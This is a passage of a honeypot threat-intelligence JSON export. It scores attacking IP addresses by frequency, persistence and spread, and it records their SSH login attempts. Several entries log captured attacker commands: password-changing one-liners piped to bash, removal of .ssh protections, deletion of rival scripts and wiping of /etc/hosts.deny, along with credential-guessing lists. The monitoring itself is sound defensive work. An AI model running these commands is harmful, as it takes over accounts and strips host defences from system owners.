      "as_org": "Amazon.com, Inc.",
      "threat_score": 40.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 10.8,
        "persistence": 12.5,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 15,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-13T19:45:15+00:00",
        "last_seen_30d": "2026-03-27T01:04:37.802000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 4,
        "Honeytrap": 2
      }
    },
    "60.188.249.64": {
      "attack_count": 4,
      "first_seen": "2026-03-20T03:54:58.197Z",
      "last_seen": "2026-03-20T03:55:06.197Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 58461,
      "as_org": "CT-HangZhou-IDC",
      "threat_score": 13.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-20T03:54:58.197000+00:00",
        "last_seen_30d": "2026-03-20T03:57:46.689000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.197.212": {
      "attack_count": 3,
      "first_seen": "2026-03-26T01:32:51.949Z",
      "last_seen": "2026-03-26T01:32:51.951Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.1,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 327,
        "days_active_30d": 30,
        "ports_targeted_30d": 82,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T14:21:44+00:00",
        "last_seen_30d": "2026-03-31T12:42:09.078000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 200,
        "Honeytrap": 97,
        "Ciscoasa": 14,
        "Mailoney": 6,
        "ConPot": 4,
        "Cowrie": 3,
        "Honeyaml": 2,
        "Ipphoney": 1
      }
    },
    "65.49.1.38": {
      "attack_count": 3,
      "first_seen": "2026-03-11T10:47:13.635Z",
      "last_seen": "2026-03-11T10:47:13.637Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 96.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 26.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 402,
        "days_active_30d": 30,
        "ports_targeted_30d": 71,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-03-02T02:54:54.952000+00:00",
        "last_seen_30d": "2026-03-31T03:32:48.184000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 268,
        "Honeytrap": 74,
        "Ciscoasa": 27,
        "Dionaea": 9,
        "H0neytr4p": 8,
        "Mailoney": 6,
        "CitrixHoneypot": 3,
        "Cowrie": 3,
        "Tanner": 3,
        "Miniprint": 1
      }
    },
    "103.131.85.228": {
      "attack_count": 2,
      "first_seen": "2026-03-22T10:05:41.726Z",
      "last_seen": "2026-03-22T10:06:12.303Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 149137,
      "as_org": "TAN THANH AN INTERNATIONAL TRADE DEVELOPMENT COMPANY LIMITED",
      "threat_score": 13.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-22T10:05:41.726000+00:00",
        "last_seen_30d": "2026-03-22T10:07:14.548000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "103.177.110.202": {
      "attack_count": 2,
      "first_seen": "2026-03-18T02:47:47.208Z",
      "last_seen": "2026-03-18T02:47:47.208Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": null,
      "asn": 135951,
      "as_org": "Webico Company Limited",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 5.0,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 6,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T05:31:52.626000+00:00",
        "last_seen_30d": "2026-03-20T05:11:18.043000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 42,
        "Cowrie": 2
      }
    },
    "110.164.150.205": {
      "attack_count": 2,
      "first_seen": "2026-03-05T12:14:40.343Z",
      "last_seen": "2026-03-05T12:14:52.578Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": null,
      "asn": 45758,
      "as_org": "Triple T Broadband Public Company Limited",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T12:14:40.343000+00:00",
        "last_seen_30d": "2026-03-05T12:15:59.841000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "113.231.205.108": {
      "attack_count": 2,
      "first_seen": "2026-03-28T21:20:33.240Z",
      "last_seen": "2026-03-28T21:20:46.411Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T21:20:33.240000+00:00",
        "last_seen_30d": "2026-03-28T21:21:48.130000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "117.245.138.249": {
      "attack_count": 2,
      "first_seen": "2026-03-23T06:57:40.815Z",
      "last_seen": "2026-03-23T06:57:54.598Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "S\u012bkar",
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T06:57:40.815000+00:00",
        "last_seen_30d": "2026-03-23T06:59:00.131000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "14.3.203.138": {
      "attack_count": 2,
      "first_seen": "2026-03-03T23:08:53.948Z",
      "last_seen": "2026-03-03T23:09:07.205Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": "Sendai",
      "asn": 4685,
      "as_org": "Asahi Net",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T23:08:53.948000+00:00",
        "last_seen_30d": "2026-03-03T23:10:14.783000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "157.230.156.190": {
      "attack_count": 2,
      "first_seen": "2026-03-26T23:39:19.670Z",
      "last_seen": "2026-03-26T23:39:21.319Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Santa Clara",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 49.1,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.0,
        "persistence": 16.7,
        "diversity": 12,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 20,
        "days_active_30d": 20,
        "ports_targeted_30d": 6,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-07T22:30:23+00:00",
        "last_seen_30d": "2026-03-26T23:49:30.250000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 15,
        "Honeytrap": 3,
        "Cowrie": 2
      }
    },
    "164.52.219.98": {
      "attack_count": 2,
      "first_seen": "2026-03-27T07:50:23.657Z",
      "last_seen": "2026-03-27T07:50:54.087Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 132420,
      "as_org": "282, Sector 19",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T07:50:23.657000+00:00",
        "last_seen_30d": "2026-03-27T07:52:00.915000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "38.191.248.41": {
      "attack_count": 2,
      "first_seen": "2026-03-21T03:21:59.377Z",
      "last_seen": "2026-03-21T03:22:30.728Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 215421,
      "as_org": "LikeNet LLC",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-21T03:21:59.377000+00:00",
        "last_seen_30d": "2026-03-21T03:23:33.527000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "58.249.188.234": {
      "attack_count": 2,
      "first_seen": "2026-03-10T16:43:28.985Z",
      "last_seen": "2026-03-10T16:44:00.012Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 17622,
      "as_org": "China Unicom Guangzhou network",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T16:43:28.985000+00:00",
        "last_seen_30d": "2026-03-10T16:45:02.934000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "65.49.1.152": {
      "attack_count": 2,
      "first_seen": "2026-03-29T14:48:47.269Z",
      "last_seen": "2026-03-29T14:48:49.416Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 94.8,
      "threat_level": "critical",
      "score_components": {
        "frequency": 24.8,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 302,
        "days_active_30d": 30,
        "ports_targeted_30d": 84,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T00:38:38.144000+00:00",
        "last_seen_30d": "2026-03-31T13:37:47.833000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 178,
        "Honeytrap": 107,
        "Miniprint": 9,
        "ConPot": 2,
        "Cowrie": 2,
        "Dionaea": 2,
        "CitrixHoneypot": 1,
        "Ipphoney": 1
      }
    },
    "73.15.160.43": {
      "attack_count": 2,
      "first_seen": "2026-03-07T02:13:41.578Z",
      "last_seen": "2026-03-07T02:13:53.810Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Sunnyvale",
      "asn": 7922,
      "as_org": "Comcast Cable Communications, LLC",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T02:13:41.578000+00:00",
        "last_seen_30d": "2026-03-07T02:14:56.720000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.73.145.147": {
      "attack_count": 2,
      "first_seen": "2026-03-08T05:14:58.949Z",
      "last_seen": "2026-03-08T05:15:04.981Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": null,
      "asn": 3301,
      "as_org": "Telia Company AB",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T05:14:58.949000+00:00",
        "last_seen_30d": "2026-03-08T05:16:11.333000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "85.100.241.126": {
      "attack_count": 2,
      "first_seen": "2026-03-28T16:30:59.208Z",
      "last_seen": "2026-03-28T16:31:12.157Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 15.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T16:30:59.208000+00:00",
        "last_seen_30d": "2026-03-28T16:32:13.567000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.36.123.173": {
      "attack_count": 840,
      "first_seen": "2026-03-07T03:21:25.089Z",
      "last_seen": "2026-03-28T21:40:42.905Z",
      "sessions": 86,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "ftpuser",
        "builder",
        "geonode",
        "ts3",
        "apagar",
        "aroot",
        "asus",
        "automation",
        "ben",
        "bitwarden",
        "central",
        "denis",
        "diego",
        "dietpi",
        "eoffice",
        "ftp-user",
        "gestion",
        "gitlab"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "password",
        "123",
        "12345",
        "123456",
        "12345678",
        "1234",
        "!QAZ@wsx3edc",
        "123456780",
        "123456789",
        "123QWEasdZXC",
        "1QAzxsw2",
        "1q2w3e4r*",
        "220260",
        "2342w3e4r",
        "369963",
        "8974",
        "@qwer2024",
        "@qwer2025"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"builder@123\\n7y4RXVtbZNaP\\n7y4RXVtbZNaP\\n\"|passwd",
        "echo \"ftpuserpass\\nK1anBaEVmIMZ\\nK1anBaEVmIMZ\\n\"|passwd",
        "echo \"geonodegeonode\\nGgmqZk5Xj3k0\\nGgmqZk5Xj3k0\\n\"|passwd",
        "echo \"password\\ni1014V3rXgsN\\ni1014V3rXgsN\\n\"|passwd",
        "echo \"root:CoKfhNJscmp6\"|chpasswd|bash",
        "echo \"root:NTWpIPMNZ6qq\"|chpasswd|bash",
        "echo \"root:upONonkfHOxl\"|chpasswd|bash",
        "echo -e \"builder@123\\n7y4RXVtbZNaP\\n7y4RXVtbZNaP\"|passwd|bash",
        "echo -e \"ftpuserpass\\nK1anBaEVmIMZ\\nK1anBaEVmIMZ\"|passwd|bash",
        "echo -e \"geonodegeonode\\nGgmqZk5Xj3k0\\nGgmqZk5Xj3k0\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 54.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 18.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 1043,
        "days_active_30d": 22,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-07T03:21:25.089000+00:00",
        "last_seen_30d": "2026-03-28T21:41:50.540000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 840,
        "Suricata": 203
      }
    },
    "20.12.41.6": {
      "attack_count": 762,
      "first_seen": "2026-03-12T07:35:31.554Z",
      "last_seen": "2026-03-28T09:19:53.120Z",
      "sessions": 70,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "builder",
        "ftpd",
        "lekaren",
        "n8n",
        "public",
        "yuhan",
        "admin",
        "ark",
        "automation",
        "dan",
        "dietpi",
        "emo",
        "eoffice",
        "git",
        "gitlab",
        "hassan",
        "kevin",
        "maint"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "12345678",
        "12345",
        "12312312",
        "1234",
        "123456",
        "12345a12345a",
        "1a2s3d4f5g6h7",
        "1q2w3e#E@W!Q",
        "4rfv5tgb",
        "654321aA",
        "ABCD123123",
        "Eoffice123",
        "Itsemoemo2025@Washere2025",
        "Password.2",
        "Password@01",
        "Qq112233",
        "Qwe123@@"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"12345678\\nwhf2W0GC8Mhy\\nwhf2W0GC8Mhy\\n\"|passwd",
        "echo \"123\\nUqDXiOyzx8hC\\nUqDXiOyzx8hC\\n\"|passwd",
        "echo \"builder@123\\nMRN2w1JJVMbQ\\nMRN2w1JJVMbQ\\n\"|passwd",
        "echo \"ftpd\\nEOvXfudCns3O\\nEOvXfudCns3O\\n\"|passwd",
        "echo \"n8n\\nIr0skxY6A1uW\\nIr0skxY6A1uW\\n\"|passwd",
        "echo \"root:fOhOLKnWv0Za\"|chpasswd|bash",
        "echo \"yuhan1234\\nTSjSLWV7joAk\\nTSjSLWV7joAk\\n\"|passwd",
        "echo -e \"12345678\\nwhf2W0GC8Mhy\\nwhf2W0GC8Mhy\"|passwd|bash",
        "echo -e \"123\\nUqDXiOyzx8hC\\nUqDXiOyzx8hC\"|passwd|bash",
        "echo -e \"builder@123\\nMRN2w1JJVMbQ\\nMRN2w1JJVMbQ\"|passwd|bash",
        "echo -e \"ftpd\\nEOvXfudCns3O\\nEOvXfudCns3O\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Boydton",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 50.3,
      "threat_level": "medium",
      "score_components": {
        "frequency": 29.7,
        "persistence": 14.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 928,
        "days_active_30d": 17,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-12T07:35:31.554000+00:00",
        "last_seen_30d": "2026-03-28T09:20:53.829000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 762,
        "Suricata": 166
      }
    },
    "57.128.212.198": {
      "attack_count": 640,
      "first_seen": "2026-03-03T21:41:54.614Z",
      "last_seen": "2026-03-09T20:13:30.329Z",
      "sessions": 46,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "geo",
        "teamspeak",
        "test",
        "user",
        "wei",
        "admin",
        "alfred",
        "clawd",
        "dell",
        "llm",
        "mamad",
        "posiflex",
        "ubuntu",
        "valheim",
        "vboxuser"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123",
        "Aa@147258",
        "password",
        "000000000",
        "123456",
        "1a2b3c4d@",
        "A123456*",
        "A123456V",
        "A123456a:",
        "A1b2c3",
        "Ab@123456",
        "Bingo@1993",
        "S3cR3t!",
        "Ty123456",
        "Wei123",
        "ZAQ!1qaz",
        "aa1234567890",
        "aaaa"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "echo \"123\\nLsltxC7ty6zW\\nLsltxC7ty6zW\\n\"|passwd",
        "echo \"A123456V\\n4ixcFlQKMScQ\\n4ixcFlQKMScQ\\n\"|passwd",
        "echo \"Wei123\\nISNifD7Kf5w1\\nISNifD7Kf5w1\\n\"|passwd",
        "echo \"geopass\\nNl2jqZn8nhjS\\nNl2jqZn8nhjS\\n\"|passwd",
        "echo \"root:2SPeTK46I1z6\"|chpasswd|bash",
        "echo \"root:BEmHmEGThyIk\"|chpasswd|bash",
        "echo \"root:D5RieYQa39f9\"|chpasswd|bash",
        "echo -e \"123\\nLsltxC7ty6zW\\nLsltxC7ty6zW\"|passwd|bash",
        "echo -e \"A123456V\\n4ixcFlQKMScQ\\n4ixcFlQKMScQ\"|passwd|bash",
        "echo -e \"Wei123\\nISNifD7Kf5w1\\nISNifD7Kf5w1\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "Poland",
      "country_code": "PL",
      "city": "Warsaw",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 12.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.7,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 746,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:41:54.614000+00:00",
        "last_seen_30d": "2026-03-09T20:14:38.420000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 640,
        "Suricata": 106
      }
    },
    "167.99.141.235": {
      "attack_count": 621,
